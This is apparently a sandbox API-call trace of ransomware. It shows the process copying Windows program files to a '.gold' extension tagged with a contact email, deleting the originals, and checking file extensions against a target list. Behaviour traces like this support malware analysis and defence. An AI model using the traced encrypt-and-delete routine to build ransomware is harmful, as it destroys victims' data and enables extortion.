GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0043.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0043.467] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.467] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0043.467] GetLastError () returned 0x0 [0043.467] ReadFile (in: hFile=0x18c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0043.527] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0043.533] ReadFile (in: hFile=0x18c, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.533] WriteFile (in: hFile=0x1f4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0043.533] SetEndOfFile (hFile=0x1f4) returned 1 [0043.533] CloseHandle (hObject=0x1f4) returned 1 [0043.533] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.533] SetEndOfFile (hFile=0x18c) returned 1 [0043.536] CloseHandle (hObject=0x18c) returned 1 [0043.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.536] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0043.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.536] lstrlenW (lpString=".doc") returned 4 [0043.536] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.536] lstrlenW (lpString=".docx") returned 5 [0043.536] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0043.536] lstrlenW (lpString=".pdf") returned 4 [0043.536] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.536] lstrlenW (lpString=".xls") returned 4 [0043.536] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.536] lstrlenW (lpString=".xlsx") returned 5 [0043.536] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0043.536] lstrlenW (lpString=".ppt") returned 4 [0043.536] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.536] lstrlenW (lpString=".zip") returned 4 [0043.536] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.536] lstrlenW (lpString=".rar") returned 4 [0043.536] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".bz2") returned 4 [0043.537] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.537] lstrlenW (lpString=".7z") returned 3 [0043.537] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".dbf") returned 4 [0043.537] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".1cd") returned 4 [0043.537] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".jpg") returned 4 [0043.537] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".doc") returned 4 [0043.537] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".docx") returned 5 [0043.537] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0043.537] lstrlenW (lpString=".pdf") returned 4 [0043.537] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".xls") returned 4 [0043.537] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".xlsx") returned 5 [0043.537] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0043.537] lstrlenW (lpString=".ppt") returned 4 [0043.537] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".zip") returned 4 [0043.537] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".rar") returned 4 [0043.537] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString=".bz2") returned 4 [0043.537] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.537] lstrlenW (lpString=".7z") returned 3 [0043.537] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".dbf") returned 4 [0043.537] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".1cd") returned 4 [0043.537] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0043.537] lstrlenW (lpString=".jpg") returned 4 [0043.538] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.538] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0043.538] lstrlenW (lpString="VBENDF98.CHM") returned 12 [0043.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.789] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=72031) returned 1 [0043.789] CloseHandle (hObject=0x208) returned 1 [0043.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 0x20 [0043.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0043.789] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.789] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.790] GetLastError () returned 0x0 [0043.790] ReadFile (in: hFile=0x208, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0043.793] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0043.795] ReadFile (in: hFile=0x208, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.795] WriteFile (in: hFile=0x188, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.795] SetEndOfFile (hFile=0x188) returned 1 [0043.795] CloseHandle (hObject=0x188) returned 1 [0043.795] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.795] SetEndOfFile (hFile=0x208) returned 1 [0043.796] CloseHandle (hObject=0x208) returned 1 [0043.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.796] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".doc") returned 4 [0043.797] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString=".docx") returned 5 [0043.797] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0043.797] lstrlenW (lpString=".pdf") returned 4 [0043.797] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString=".xls") returned 4 [0043.797] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString=".xlsx") returned 5 [0043.797] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0043.797] lstrlenW (lpString=".ppt") returned 4 [0043.797] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".zip") returned 4 [0043.797] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString=".rar") returned 4 [0043.797] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString=".bz2") returned 4 [0043.797] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.797] lstrlenW (lpString=".7z") returned 3 [0043.797] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".dbf") returned 4 [0043.797] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".1cd") returned 4 [0043.797] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".jpg") returned 4 [0043.797] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.797] lstrlenW (lpString=".doc") returned 4 [0043.798] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString=".docx") returned 5 [0043.798] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0043.798] lstrlenW (lpString=".pdf") returned 4 [0043.798] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString=".xls") returned 4 [0043.798] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString=".xlsx") returned 5 [0043.798] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0043.798] lstrlenW (lpString=".ppt") returned 4 [0043.798] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.798] lstrlenW (lpString=".zip") returned 4 [0043.798] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString=".rar") returned 4 [0043.798] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString=".bz2") returned 4 [0043.798] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.798] lstrlenW (lpString=".7z") returned 3 [0043.798] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.798] lstrlenW (lpString=".dbf") returned 4 [0043.798] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.798] lstrlenW (lpString=".1cd") returned 4 [0043.798] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0043.798] lstrlenW (lpString=".jpg") returned 4 [0043.798] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.798] lstrcmpiW (lpString1=".config", lpString2=".gold") returned -1 [0043.798] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0043.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0043.975] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=716) returned 1 [0043.975] CloseHandle (hObject=0x178) returned 1 [0043.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0044.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0044.000] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.000] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.001] GetLastError () returned 0x0 [0044.001] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x2cc, lpOverlapped=0x0) returned 1 [0044.004] WriteFile (in: hFile=0x18c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x2d0, lpOverlapped=0x0) returned 1 [0044.005] ReadFile (in: hFile=0x178, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.005] WriteFile (in: hFile=0x18c, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0044.005] SetEndOfFile (hFile=0x18c) returned 1 [0044.005] CloseHandle (hObject=0x18c) returned 1 [0044.005] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.005] SetEndOfFile (hFile=0x178) returned 1 [0044.006] CloseHandle (hObject=0x178) returned 1 [0044.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0044.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".doc") returned 4 [0044.007] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".docx") returned 5 [0044.007] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0044.007] lstrlenW (lpString=".pdf") returned 4 [0044.007] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".xls") returned 4 [0044.007] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".xlsx") returned 5 [0044.007] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0044.007] lstrlenW (lpString=".ppt") returned 4 [0044.007] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".zip") returned 4 [0044.007] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".rar") returned 4 [0044.007] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".bz2") returned 4 [0044.007] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".7z") returned 3 [0044.007] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".dbf") returned 4 [0044.007] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".1cd") returned 4 [0044.007] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".jpg") returned 4 [0044.007] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".doc") returned 4 [0044.007] lstrcmpiW (lpString1=".doc", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".docx") returned 5 [0044.007] lstrcmpiW (lpString1=".docx", lpString2="onfig") returned -1 [0044.007] lstrlenW (lpString=".pdf") returned 4 [0044.007] lstrcmpiW (lpString1=".pdf", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".xls") returned 4 [0044.007] lstrcmpiW (lpString1=".xls", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".xlsx") returned 5 [0044.007] lstrcmpiW (lpString1=".xlsx", lpString2="onfig") returned -1 [0044.007] lstrlenW (lpString=".ppt") returned 4 [0044.007] lstrcmpiW (lpString1=".ppt", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.007] lstrlenW (lpString=".zip") returned 4 [0044.007] lstrcmpiW (lpString1=".zip", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".rar") returned 4 [0044.007] lstrcmpiW (lpString1=".rar", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".bz2") returned 4 [0044.007] lstrcmpiW (lpString1=".bz2", lpString2="nfig") returned -1 [0044.007] lstrlenW (lpString=".7z") returned 3 [0044.008] lstrcmpiW (lpString1=".7z", lpString2="fig") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.008] lstrlenW (lpString=".dbf") returned 4 [0044.008] lstrcmpiW (lpString1=".dbf", lpString2="nfig") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.008] lstrlenW (lpString=".1cd") returned 4 [0044.008] lstrcmpiW (lpString1=".1cd", lpString2="nfig") returned -1 [0044.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config") returned 77 [0044.008] lstrlenW (lpString=".jpg") returned 4 [0044.008] lstrcmpiW (lpString1=".jpg", lpString2="nfig") returned -1 [0044.008] lstrcmpiW (lpString1=".png", lpString2=".gold") returned 1 [0044.008] lstrlenW (lpString="btn-previous-static.png") returned 23 [0044.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.409] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=3595) returned 1 [0044.409] CloseHandle (hObject=0x18c) returned 1 [0044.409] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png")) returned 0x20 [0044.409] 